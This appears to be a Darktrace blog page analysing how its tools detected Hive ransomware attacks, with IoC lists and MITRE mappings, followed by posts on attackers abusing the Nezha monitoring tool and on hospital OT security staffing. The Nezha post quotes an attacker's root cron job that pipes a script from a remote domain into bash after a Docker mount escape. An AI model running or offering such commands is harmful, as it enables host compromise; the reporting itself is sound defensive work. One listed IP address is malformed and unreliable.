May 23, 2023

Darktrace’s Detection of a Hive Ransomware-as-Service

This blog investigates a new strain of ransomware, Hive, a ransomware-as-a-service. Darktrace was able to provide full visibility over the attacks.

Written by

Emily Megan Lim

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Emily Megan Lim

Cyber Analyst

May 2023

Update: On January 26, 2023, the Hive ransomware group was dismantled and servers associated with the sale of the ransomware were taken offline following an investigation by the FBI, German law enforcement and the National Crime Agency (NCA). The activity detailed in this blog took place in 2022, whilst the group was still active.‍

RaaS in Cyber Security

The threat of ransomware continues to be a constant concern for security teams across the cyber threat landscape. With the growing popularity of Ransomware-as-a-Service (RaaS), it is becoming more and more accessible for even inexperienced would-be attackers. As a result of this low barrier to entry, the volume of ransomware attacks is expected to increase significantly.

What’s more, RaaS is a highly tailorable market in which buyers can choose from varied kits and features to use in their ransomware deployments meaning attacks will rarely behave the same. To effectively detect and safeguard against these differentiations, it is crucial to implement security measures that put the emphasis on detecting anomalies and focusing on deviations in expected behavior, rather than relying on depreciated indicators of compromise (IoC) lists or playbooks that focus on attack chains unable to keep pace with the increasing speed of ransomware evolution.

In early 2022, Darktrace DETECT/Network™ identified several instances of Hive ransomware on the networks of multiple customers. Using its anomaly-based detection, Darktrace was able to successfully detect the attacks and multiple stages of the kill chain, including command and control (C2) activity, lateral movement, data exfiltration, and ultimately data encryption and the writing of ransom notes.

Hive Ransomware

Hive ransomware is a relatively new strain that was first observed in the wild in June 2021. It is known to target a variety of industries including healthcare, energy providers, and retailers, and has reportedly attacked over 1,500 organizations, collecting more than USD 100m in ransom payments [1].

Hive is distributed via a RaaS model where its developers update and maintain the code, in return for a percentage of the eventual ransom payment, while users (or affiliates) are given the tools to carry out attacks using a highly sophisticated and complex malware they would otherwise be unable to use. Hive uses typical tactics, techniques and procedures (TTPs) associated with ransomware, though they do vary depending on the Hive affiliate carrying out the attack.

In most cases a double extortion attack is carried out, whereby data is first exfiltrated and then encrypted before a ransom demand is made. This gives attackers extra leverage as victims are at risk of having their sensitive data leaked to the public on websites such as the ‘HiveLeaks’ TOR website.

Attack Timeline

Owing to the highly customizable nature of RaaS, the tactics and methods employed by Hive actors are expected to differ on a case-by-case basis. Nonetheless in the majority of Hive ransomware incidents identified on Darktrace customer environments, Darktrace DETECT observed the following general attack stages and features. This is possibly indicative of the attacks originating from the same threat actor(s) or from a widely sold batch with a particular configuration to a variety of actors.

Figure 1: A typical timeline of a Hive attack observed by Darktrace.

Initial Access

Although Hive actors are known to gain initial access to networks through multiple different vectors, the two primary methods reported by security researchers are the exploitation of Microsoft Exchange vulnerabilities, or the distribution of phishing emails with malicious attachments [2][3].

In the early stages of one Hive ransomware attack observed on the network of a Darktrace customer, for example, Darktrace detected a device connecting to the rare external location 23.81.246[.]84, with a PowerShell user agent via HTTP. During this connection, the device attempted to download an executable file named “file.exe”. It is possible that the file was initially accessed and delivered via a phishing email; however, as Darktrace/Email was not enabled at the time of the attack, this was outside of Darktrace’s purview. Fortunately, the connection failed the proxy authentication was thus blocked as seen in the packet capture (PCAP) in Figure 2.

Shortly after this attempted download, the same device started to receive a high volume of incoming SSL connections from a rare external endpoint, namely 146.70.87[.]132. Darktrace logged that this endpoint was using an SSL certificate signed by Go Daddy CA, an easily obtainable and accessible SSL certificate, and that the increase in incoming SSL connections from this endpoint was unusual behavior for this device.

It is likely that this highly anomalous activity detected by Darktrace indicates when the ransomware attack began, likely initial payload download.

Darktrace DETECT models:

Anomalous Connection / Powershell to Rare External
Anomalous Server Activity / New Internet Facing System

Figure 2: PCAP of the HTTP connection to the rare endpoint 23.81.246[.]84 showing the failed proxy authentication.

C2 Beaconing

Following the successful initial access, Hive actors begin to establish their C2 infrastructure on infected networks through numerous connections to C2 servers, and the download of additional stagers.

On customer networks infected by Hive ransomware, Darktrace identified devices initiating a high volume of connections to multiple rare endpoints. This very likely represented C2 beaconing to the attacker’s infrastructure. In one particular example, further open-source intelligence (OSINT) investigation revealed that these endpoints were associated with Cobalt Strike.

Darktrace DETECT models:

Anomalous Connection / Multiple Connections to New External TCP
Anomalous Server Activity / Anomalous External Activity from Critical Network Device
Compromise / High Volume of Connections with Beacon Score
Compromise / Sustained SSL or HTTP Increase
Compromise / Suspicious HTTP Beacons to Dotted Quad
Compromise / SSL or HTTP Beacon
Device / Lateral Movement and C2 Activity

Internal Reconnaissance, Lateral Movement and Privilege Escalation

After C2 infrastructure has been established, Hive actors typically begin to uninstall antivirus products in an attempt to remain undetected on the network [3]. They also perform internal reconnaissance to look for vulnerabilities and open channels and attempt to move laterally throughout the network.

Amid the C2 connections, Darktrace was able to detect network scanning activity associated with the attack when a device on one customer network was observed initiating an unusually high volume of connections to other internal devices. A critical network device was also seen writing an executable file “mimikatz.exe” via SMB which appears to be the Mimikatz attack tool commonly used for credential harvesting.

There were also several detections of lateral movement attempts via RDP and DCE-RPC where the attackers successfully authenticated using an “Administrator” credential. In one instance, a device was also observed performing ITaskScheduler activity. This service is used to remotely control tasks running on machines and is commonly observed as part of malicious lateral movement activity. Darktrace DETECT understood that the above activity represented a deviation from the devices’ normal pattern of behavior and the following models were breached:

Darktrace DETECT models:

Anomalous Connection / Anomalous DRSGetNCChanges Operation
Anomalous Connection / New or Uncommon Service Control
Anomalous Connection / Unusual Admin RDP Session
Anomalous Connection / Unusual SMB Version 1 Connectivity
Compliance / SMB Drive Write
Device / Anomalous ITaskScheduler Activity
Device / Attack and Recon Tools
Device / Attack and Recon Tools In SMB
Device / EXE Files Distributed to Multiple Devices
Device / Suspicious Network Scan Activity
Device / Increase in New RPC Services
User / New Admin Credentials on Server

Data Exfiltration

At this stage of the attack, Hive actors have been known to carry out data exfiltration activity on infected networks using a variety of different methods. The Cybersecurity & Infrastructure Security Agency (CISA) reported that “Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega[.]nz” [4]. Darktrace DETECT identified an example of this when a device on one customer network was observed making HTTP connections to endpoints related to Mega, including “w.apa.mega.co[.]nz”, with the user agent “rclone/v1.57.0” with at least 3 GiB of data being transferred externally (Figure 3). The same device was also observed transferring at least 3.6 GiB of data via SSL to the rare external IP, 158.51.85[.]157.

Figure 3: A summary of a device’s external connections to multiple endpoints and the respective amounts of data exfiltrated to Mega storage endpoints.

In another case, a device was observed uploading over 16 GiB of data to a rare external endpoint 93.115.27[.]71 over SSH. The endpoint in question was seen in earlier beaconing activity suggesting that this was likely an exfiltration event.

However, Hive ransomware, like any other RaaS kit, can differ greatly in its techniques and features, and it is important to note that data exfiltration may not always be present in a Hive ransomware attack. In one incident detected by Darktrace, there were no signs of any data leaving the customer environment, indicating data exfiltration was not part of the Hive actor’s objectives.

Darktrace DETECT models:

Anomalous Connection / Data Sent to Rare Domain
Anomalous Connection / Lots of New Connections
Anomalous Connection / Multiple HTTP POSTs to Rare Hostname
Anomalous Connection / Suspicious Self-Signed SSL
Anomalous Connection / Uncommon 1 GiB Outbound
Device / New User Agent and New IP
Unusual Activity / Unusual External Data to New Endpoints
Unusual Activity / Unusual External Data Transfer
Unusual Activity / Enhanced Unusual External Data Transfer

Ransomware Deployment

In the final stage of a typical Hive ransomware attack, the ransomware payload is deployed and begins to encrypt files on infected devices. On one customer network, Darktrace detected several devices connecting to domain controllers (DC) to read a file named “xxx.exe”. Several sources have linked this file name with the Hive ransomware payload [5].

In another example, Darktrace DETECT observed multiple devices downloading the executable files “nua64.exe” and “nua64.dll” from a rare external location, 194.156.90[.]25. OSINT investigation revealed that the files are associated with Hive ransomware.

Figure 4: Security vendor analysis of the malicious file hash [6] associated with Hive ransomware.

Shortly after the download of this executable, multiple devices were observed performing an unusual amount of file encryption, appending randomly generated strings of characters to file extensions.

Although it has been reported that earlier versions of Hive ransomware encrypted files with a “.hive” extension [7], Darktrace observed across multiple customers that encrypted files had extensions that were partially-randomized, but consistently 20 characters long, matching the regular expression “[a-zA-Z0-9\-\_]{8}[\-\_]{1}[A-Za-z0-9\-\_]{11}”.

Figure 5: Device Event Log showing SMB reads and writes of encrypted files with a randomly generated extension of 20 characters.

Following the successful encryption of files, Hive proceeds to drop a ransom note, named “HOW_TO_DECRYPT.txt”, into each affected directory. Typically, the ransom note will contain a link to Hive’s “sales department” and, in the event that exfiltration took place, a link to the “HiveLeaks” site, where attackers threaten to publish exfiltrated data if their demands are not met (Figure 6). In cases of Hive ransomware detected by Darktrace, multiple devices were observed attempting to contact “HiveLeaks” TOR domains, suggesting that endpoint users had followed links provided to them in ransom notes.

Figure 6: Sample of a Hive ransom note [4].

Examples of file extensions:

36C-AT9-_wm82GvBoCPC
36C-AT9--y6Z1G-RFHDT
36C-AT9-_x2x7FctFJ_q
36C-AT9-_zK16HRC3QiL
8KAIgoDP-wkQ5gnYGhrd
kPemi_iF_11GRoa9vb29
kPemi_iF_0RERIS1m7x8
kPemi_iF_7u7e5zp6enp
kPemi_iF_y4u7pB3d3f3
U-9Xb0-k__T0U9NJPz-_
U-9Xb0-k_6SkA8Njo5pa
zm4RoSR1_5HMd_r4a5a9

Darktrace DETECT models:

Anomalous Connection / SMB Enumeration
Anomalous Connection / Sustained MIME Type Conversion
Anomalous Connection / Unusual Admin SMB Session
Anomalous File / Internal / Additional Extension Appended to SMB File
Compliance / SMB Drive Write
Compromise / Ransomware / Suspicious SMB Activity
Compromise / Ransomware / Ransom or Offensive Words Written to SMB
Compromise / Ransomware / Possible Ransom Note Write
Compromise / High Priority Tor2Web
Compromise / Tor2Web
Device / EXE Files Distributed to Multiple Devices

Conclusion

As Hive ransomware attacks are carried out by different affiliates using varying deployment kits, the tactics employed tend to vary and new IoCs are regularly identified. Furthermore, in 2022 a new variant of Hive was written using the Rust programming language. This represented a major upgrade to Hive, improving its defense evasion techniques and making it even harder to detect [8].

Hive is just one of many RaaS offerings currently on the market, and this market is only expected to grow in usage and diversity of presentations. As ransomware becomes more accessible and easier to deploy it is essential for organizations to adopt efficient security measures to identify ransomware at the earliest possible stage.

Darktrace DETECT’s Self-Learning AI understands customer networks and learns the expected patterns of behavior across an organization’s digital estate. Using its anomaly-based detection Darktrace is able to identify emerging threats through the detection of unusual or unexpected behavior, without relying on rules and signatures, or known IoCs.

Credit to: Emily Megan Lim, Cyber Analyst, Hyeongyung Yeom, Senior Cyber Analyst & Analyst Team Lead.

Appendices

MITRE AT&CK Mapping

Reconnaissance

T1595.001 – Scanning IP Blocks

T1595.002 – Vulnerability Scanning

Resource Development

T1583.006 – Web Services

Initial Access

T1078 – Valid Accounts

T1190 – Exploit Public-Facing Application

T1200 – Hardware Additions

Execution

T1053.005 – Scheduled Task

T1059.001 – PowerShell

Persistence/Privilege Escalation

T1053.005 – Scheduled Task

T1078 – Valid Accounts

Defense Evasion

T1078 – Valid Accounts

T1207 – Rogue Domain Controller

T1550.002 – Pass the Hash

Discovery

T1018 – Remote System Discovery

T1046 – Network Service Discovery

T1083 – File and Directory Discovery

T1135 – Network Share Discovery

Lateral Movement

T1021.001 – Remote Desktop Protocol

T1021.002 – SMB/Windows Admin Shares

T1021.003 – Distributed Component Object Model

T1080 – Taint Shared Content

T1210 – Exploitation of Remote Services

T1550.002 – Pass the Hash

T1570 – Lateral Tool Transfer

Collection

T1185 – Man in the Browser

Command and Control

T1001 – Data Obfuscation

T1071 – Application Layer Protocol

T1071.001 – Web Protocols

T1090.003 – Multi-hop proxy

T1095 – Non-Application Layer Protocol

T1102.003 – One-Way Communication

T1571 – Non-Standard Port

Exfiltration

T1041 – Exfiltration Over C2 Channel

T1567.002 – Exfiltration to Cloud Storage

Impact

T1486 – Data Encrypted for Impact

T1489 – Service Stop

List of IoCs

23.81.246[.]84 - IP Address - Likely Malicious File Download Endpoint

146.70.87[.]132 - IP Address - Possible Ransomware Endpoint

5.199.162[.]220 - IP Address - C2 Endpoint

23.227.178[.]65 - IP Address - C2 Endpoint

46.166.161[.]68 - IP Address - C2 Endpoint

46.166.161[.]93 - IP Address - C2 Endpoint

93.115.25[.]139 - IP Address - C2 Endpoint

185.150.1117[.]189 - IP Address - C2 Endpoint

192.53.123[.]202 - IP Address - C2 Endpoint

209.133.223[.]164 - IP Address - Likely C2 Endpoint

cltrixworkspace1[.]com - Domain - C2 Endpoint

vpnupdaters[.]com - Domain - C2 Endpoint

93.115.27[.]71 - IP Address - Possible Exfiltration Endpoint

158.51.85[.]157 - IP Address - Possible Exfiltration Endpoint

w.api.mega.co[.]nz - Domain - Possible Exfiltration Endpoint

*.userstorage.mega.co[.]nz - Domain - Possible Exfiltration Endpoint

741cc67d2e75b6048e96db9d9e2e78bb9a327e87 - SHA1 Hash - Hive Ransomware File

2f9da37641b204ef2645661df9f075005e2295a5 - SHA1 Hash - Likely Hive Ransomware File

hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd[.]onion - TOR Domain - Likely Hive Endpoint

References

[1] https://www.justice.gov/opa/pr/us-department-justice-disrupts-hive-ransomware-variant

[2] https://www.varonis.com/blog/hive-ransomware-analysis

[3] https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive

[4]https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-321a

[5] https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html

[6] https://www.virustotal.com/gui/file/60f6a63e366e6729e97949622abd9de6d7988bba66f85a4ac8a52f99d3cb4764/detection

[7] https://heimdalsecurity.com/blog/what-is-hive-ransomware/

[8] https://www.microsoft.com/en-us/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/

Written by

Emily Megan Lim

Cyber Analyst

Inside the SOC

Written by

Emily Megan Lim

Cyber Analyst

Malware Research Engineer

•

June 9, 2026

Daniel Simonds

Director of Operational Technology

Watch the NIS2 Webinar

Blog

Network

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

*Figure 1: The malicious container create command.*

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

*Figure 3: The attacker’s Nezha dashboard.*

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible. The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

About the author

Nathaniel Bill

Malware Research Engineer

Blog

OT

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors. 

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

‍

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About the author

Daniel Simonds

Director of Operational Technology

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Check out this article by Darktrace: Darktrace’s Detection of a Hive Ransomware-as-Service

Darktrace’s Detection of a Hive Ransomware-as-Service

RaaS in Cyber Security

Hive Ransomware

Attack Timeline

Initial Access

C2 Beaconing

Data Exfiltration

Ransomware Deployment

Conclusion

Appendices

MITRE AT&CK Mapping

List of IoCs

References

How Attackers Abuse the Chinese Nezha Monitoring Tool

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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How Attackers Abuse the Chinese Nezha Monitoring Tool

What is Nezha?

Darktrace’s analysis of a Nezha infection

Open by design

Key takeaways

Blog

OT

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Rethinking the healthcare attack surface

The OT cybersecurity expertise gap in healthcare organizations

What these findings reveal

Why OT cybersecurity expertise can be effective for healthcare organizations

What can healthcare organizations do to secure their OT